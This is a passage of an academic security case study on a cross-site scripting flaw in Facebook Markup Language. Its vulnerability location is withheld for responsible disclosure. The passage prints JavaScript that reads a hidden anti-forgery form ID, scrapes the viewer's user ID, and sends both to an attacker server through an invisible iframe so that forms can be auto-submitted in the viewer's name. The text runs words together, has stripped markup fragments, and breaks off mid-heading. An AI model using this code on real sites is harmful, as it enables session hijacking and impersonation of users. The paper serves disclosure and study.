INDONEWSTOP NEWS HEADLINE INDONESIA

Defacing Facebook: A Security Case StudyAdrienne Felt, University of Virginiafelt@virginia.edu, www.cs.virginia.edu/felt/fbookThe Facebook Platform represents a powerful combination of social networkingand third-party gadget aggregation. Officially released in May 2007, theFacebook API provides developers with millions of potential users and partialaccess to their information. The highly personal nature of Facebook data and theamplifying effects of the social network make it crucial that the FacebookPlatform does not enable third-party attacks. This paper describes Facebook’ssecurity mechanisms and presents a cross-site scripting vulnerability inFacebook Markup Language that allows arbitrary JavaScript to be added toapplication users’ profiles. The profile in the code can then defeat their antirequestforging security measures and hijack the sessions of viewers.An introduction to the Facebook PlatformFacebook tightly integrates third-party applications into their website.Applications are served externally but are viewed in the context of a Facebookhostedpage with a Facebook URL. An application has two choices about itsFacebook home page: it can be isolated in an iFrame or written in Facebook’sproprietary markup language and embedded directly into the page. Codewritten in Facebook Markup Language (FBML) is retrieved by the Facebookserver, parsed, and then inserted into their surrounding code. FBML includes a“safe” subset of HTML and CSS as well as Facebook-specific tags.In addition to these application home pages, users may add gadgets to theirprofiles. Profile gadgets are presented alongside Facebook-provided content andallow users to individualize a small portion of their profile. The gadget codemust be written in FBML.Session security measuresFacebook uses two methods to identify and authenticate users: cookies, whichcontain session information, and hidden form IDs that are supposed to ensurethat forms come from the user. With either a cookie or knowledge of a user’sform ID, an attacker can impersonate a victim. A cookie’s session informationwould allow an attacker to construct XMLHttpRequests and assume all the sameprivileges as the user. Hidden form IDs can be used to session surf, meaning theattacker can embed a hidden form into a seemingly innocent page. The form2would automatically submit when viewed by a logged-in user and have theauthentication credentials of the unwitting viewer. It is imperative that bothhidden form IDs and cookies be shielded from third-party applications.The DOM provides built-in isolation for third-party code in iFrames. The SameOrigin Policy prevents the applications from accessing any of the content fromthe Facebook servers, including the cookie and the form IDs. However, unlikeparsed FBML code, Facebook must pass all user and viewer information to theapplication. This limits Facebook’s privacy control.FBML gives Facebook the ability to abstract user information and maintainsome uniformity of style between applications. Since the parsed third-party codeis included directly in the page, any malicious code that could slip through theirfilters would have access to the hidden form IDs. Depending on the browserversion, the code might also be able to fetch the user’s Facebook cookies. Untilrecently, many browsers (such as Firefox prior to the 2.0.0.5 release) ignored thehttp-only flag on cookies and would leave them accessible through the JavaScriptdocument.cookie variable. Facebook therefore attempts to strip FBML of allreferences to JavaScript or external code.The XSS vulnerabilityFollowing the principles of responsible disclosure, the section revealing the locationof the XSS vulnerability has been removed. Facebook has been notified and thissection will be released as soon as the issue has been resolved. The following is onlyuseful if the location of the vulnerability is known to the attacker.[This injected code] causes Firefox to retrieve and evaluate the contents of theexternal XML file. (The exploit could be extended to Internet Explorer by usingthe CSS expression() function to cause the CSS to execute JavaScript.) TheFirefox XML file contains the attacker’s JavaScript.http://www.mozilla.org/xbl">The JavaScript in this file is now executing in the context of the authenticFacebook page with the user’s valid credentials.3Accessing the page contentsFrom here, style sheets and elements within the page may be simply accessed.The following code fragments change the way the profile owner’s name isdisplayed and get the secret form ID, respectively.document.styleSheets[16].insertRule('.profile_name h2 {color: #aa1c73; text-transform: uppercase; letter-spacing:5px;}',0);var attr =document.getElementById("post_form_id").attributes;var hidden = attr.getNamedItem("value").value;The profile viewer’s ID is not stored in any form value on the page but can befound in a URL parameter on the page. The container with that link maytherefore be searched for the viewer’s ID.var chunk =document.getElementById("nav_unused_1").innerHTML;var start = chunk.indexOf("profile.php?id=") + 15;var end = chunk.indexOf("profile_link") – 9;var uid = chunk.substring(start,end);The form and user IDs may then be used for the potentially malicious part of theattack.Impersonating the viewerAlthough it is possible to fetch the session information using the JavaScriptdocument.cookie variable in older browsers, I chose to explore the avenue ofsession riding for effectiveness against browsers that support http-only cookies.With the secret form ID value, an attacker could falsely submit forms on theviewer’s behalf to perform any action on the site removing privacy settings,adding friends, sending messages, and installing the application to that user’saccount. Since the code only has access to the viewer’s session until he or shenavigates away from the page, installing an application is particularly appealingsince it provides the potential for rapid spreading of the code. Alternately, anapplication could become popular in its own right and stealthily includemalicious code behind its attractive veneer.Demonstration4My demonstration performed two actions: it added a user as my friend (if thatuser weren’t already) or posted “Adrine is my hero” to my fake account’s wall (ifthat user were already my friend). I did this by inserting an iFrame into theDOM tree and passing the necessary form values to the inner script (which wason my server). That script then sent a POST request to the appropriateFacebook form. The following JavaScript code inserts the iFrame for the wallpost:var myframe = document.createElement("iframe");myframe.setAttribute("width","0px");myframe.setAttribute("height","0px");myframe.setAttribute("style","border:0px;");myframe.setAttribute("src","http://myserver/wallpost.php?hidden="+hidden+"&uid="+uid);document.getElementById("profileimage").appendChild(myframe);Notably, this iFrame will load without the user’s knowledge because it is of size0x0 and without a border. When it loads, it makes a request to the attacker’sserver wallpost.php script, passing in the hidden and UID values asparameters. The PHP script generates a Facebook form, with the UID andhidden variables included as necessary to satisfy Facebook’s authenticationmechanisms. The value “[targetUID]” holds the place of the profile that receivesthe wall post. Removing extraneous PHP commands, the form was:

http://www.facebook.com/wallpost.php?id=[targetUID]"method="post">

The form is then automatically submitted with a line of JavaScript,document.myform.submit();, which is appended to the end of the iFrame.The ramifications of the exploit